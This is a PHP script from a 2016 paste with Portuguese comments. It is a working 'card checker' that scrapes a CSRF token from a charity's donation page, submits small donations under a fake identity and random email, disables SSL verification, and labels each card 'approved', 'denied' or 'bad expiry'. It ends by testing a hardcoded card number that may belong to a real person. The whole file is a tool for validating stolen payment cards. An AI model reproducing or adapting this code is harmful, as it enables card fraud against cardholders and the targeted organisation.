· 9 years ago · Aug 27, 2016, 09:10 PM
1<?php
2
3// Nao mostra os erros
4error_reporting(0);
5
6// Funcao que gera uma palavra randomica
7function GenerateRandomString($length = 10) {
8 $characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
9 $charactersLength = strlen($characters);
10 $randomString = '';
11 for ($i = 0; $i < $length; $i++) {
12 $randomString .= $characters[rand(0, $charactersLength - 1)];
13 }
14 return $randomString;
15}
16
17
18// O nome ja diz, se n entende, aprende ingles pois eh importante =D
19function CopyFromTo($string,$start,$end)
20{
21 $str = explode($start,$string);
22 $str = explode($end,$str[1]);
23 return $str[0];
24}
25
26// Pega os cookies da header
27function GetCookie($header)
28{
29 // Separa o cabecalho e pega só os cookies num array separado
30 preg_match_all('/^Set-Cookie:\s*([^;]*)/mi', $header, $matches);
31 $cookies = array();
32 foreach($matches[1] as $item)
33 {
34 parse_str($item, $cookie);
35 $cookies = array_merge($cookies, $cookie);
36 }
37 return $cookies;
38}
39
40// CLASSE DO CURL
41class cURL
42{
43 var $callback = false;
44
45 function doRequest($method, $url, $postfields, $getheaders, $follow)
46 {
47 $ch = curl_init();
48
49 curl_setopt($ch, CURLOPT_URL, $url);
50 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, $follow);
51 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
52 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
53 curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
54 curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
55 curl_setopt($ch, CURLOPT_ENCODING, "");
56 curl_setopt($ch, CURLOPT_COOKIESESSION, false);
57 curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd().'/cookies/Donate_GER_' . $_GET['usrid'] . '.txt'); //COOKIES DO NAVEGADOR
58 curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd().'/cookies/Donate_GER_' . $_GET['usrid'] . '.txt'); //COOKIES DO NAVEGADOR
59 curl_setopt($ch, CURLOPT_REFERER, 'https://answersingenesis.org/donate/');
60 curl_setopt($ch, CURLOPT_HEADER, $getheaders);
61 curl_setopt($ch, CURLOPT_VERBOSE, 1);
62 if ($method == 'POST')
63 {
64 curl_setopt($ch, CURLOPT_POST, 1);
65 curl_setopt($ch, CURLOPT_POSTFIELDS, $postfields);
66
67 } else if ($method == 'POSTJSON')
68 {
69 curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json','Content-Length: ' . strlen($postfields)));
70 curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
71 curl_setopt($ch, CURLOPT_POSTFIELDS, $postfields);
72 } else if ($method == 'DELETE')
73 {
74 curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "DELETE");
75 curl_setopt($ch, CURLOPT_POSTFIELDS, $postfields);
76 }
77
78 //ob_start(); // prevent any output
79 $data = curl_exec($ch);
80 //ob_end_clean(); // stop preventing output
81
82 curl_close($ch);
83
84 if ($data) {
85
86 return $data;
87 } else {
88 return curl_error($ch);
89 }
90 }
91 function get($url, $getheaders, $follow) {
92 return $this->doRequest('GET', $url, '', $getheaders, $follow);
93 }
94 function post($url, $postfields, $getheaders, $follow) {
95 return $this->doRequest('POST', $url, $postfields, $getheaders, $follow);
96 }
97 function postjson($url, $postfields, $getheaders, $follow) {
98 return $this->doRequest('POSTJSON', $url, $postfields, $getheaders, $follow);
99 }
100 function delete($url, $postfields, $getheaders, $follow) {
101 return $this->doRequest('DELETE', $url, $postfields, $getheaders, $follow);
102 }
103}
104
105
106// FUNCAO PRINCIPAL
107// ENTRA NO DONATE, PEGA O TOKEN
108// E ENVIA OS DADOS
109function Donate1_Test($ccnumber, $ccmonth, $ccyear)
110{
111 // Deleta os arquivos de cookies
112 if(file_exists(getcwd().'/cookies/Donate_GER_' . $_GET['usrid'] . '.txt')) { unlink(getcwd().'/cookies/Donate_GER_' . $_GET['usrid'] . '.txt'); }
113
114 // Gera email aleatorio com srv aleatorio tbm
115 $email = strtolower(GenerateRandomString(rand(9, 16)));
116 $emailprovs = array('yahoo.com', 'gmail.com', 'live.com', 'mail.net', 'zipmail.net', 'ig.com.br', 'globo.com', 'oi.com.br', 'terra.com.br', 'uol.com.br');
117 $emailprov = $emailprovs[array_rand($emailprovs)];
118
119 // Coloca a data no formato necessario (X / XXXX) ex 8 / 2016
120 if (strlen($ccyear) == 2) { $nccyear = '20' . $ccyear; $ccyear = $nccyear; }
121 if (strlen($ccmonth) == 2) { if (intval($ccmonth) < 10) { $nccmonth = substr($ccmonth, -1); $ccmonth = $nccmonth; } }
122
123 // Baixa a index do donate
124 $_Donate1Index = new cURL();
125 $Donate1Index = $_Donate1Index->get("https://answersingenesis.org/donate/", true, false);
126 // Separa a parte que tem o token
127 $_DonateToken0 = CopyFromTo($Donate1Index, 'id="frmQuickCheckout"', "is-featured");
128 // Separa o token
129 $_DonateToken = CopyFromTo($_DonateToken0, "name='csrfmiddlewaretoken' value='", "'");
130 // Ler os cookies da index do donate
131 $_DonateCookies = GetCookie($Donate1Index);
132
133
134
135
136
137 // ENVIA A DOACAO
138 //
139 $_DonatePost1 = new cURL();
140
141 // OS POSTFIELS (O MESMO QUE TU PREENCHE PELO NAVEGADOR)
142 $DonatePost1 = $_DonatePost1->post('https://answersingenesis.org/store/quick-checkout/', "csrfmiddlewaretoken=" . $_DonateToken . "&3item_sku=Ark&3item_price=1.00&3item_pay_opt=&3itemdata-_version=4&1item_sku=GeneralDonation&1item_price=1.00&1item_pay_opt=&2item_sku=CreationMuseum&2item_price=0.00&2item_pay_opt=&4item_sku=Worldwide&4item_price=0.00&4item_pay_opt=&first_name=Amilton&last_name=Soares&org_name=&email=" . $email . "%40" . $emailprov . "&newsletter_signup=on&phone=1098823882&street1=Rua+do+Nada+83&street2=Centro&city=Pelotas&state=RS&unitedstate=&country=BR&postal_code=96020000&card_name=amilton+soares&card_number=" . $ccnumber . "&card_expire_month=" . $ccmonth . "&card_expire_year=" . $ccyear . "&1itemdata-_version=4&2itemdata-_version=4&3itemdata-_version=4&4itemdata-_version=4&3itemdata-message=&1itemdata-message=&2itemdata-message=&4itemdata-message=", true, false);
143
144
145
146 echo $DonatePost1 . '<br><br>';
147
148
149
150 if (strpos($DonatePost1, 'class="errorlist"') > 0)
151 {
152 return 'AUTORIZACAO NEGADA';
153
154 } else if (strpos($DonatePost1, 'Select a valid choice') > 0)
155 {
156 return 'DATA DE VALIDADE INCORRETA';
157
158 } else if (strpos($DonatePost1, 'thank-you') > 0)
159 {
160 return 'CC APROVADA!';
161
162 } else
163 {
164 return 'ERRO DESCONHECIDO';
165 }
166
167}
168
169 // EXECUTA A FUNCAO
170 echo Donate1_Test("4500030118222458", "8", "2017");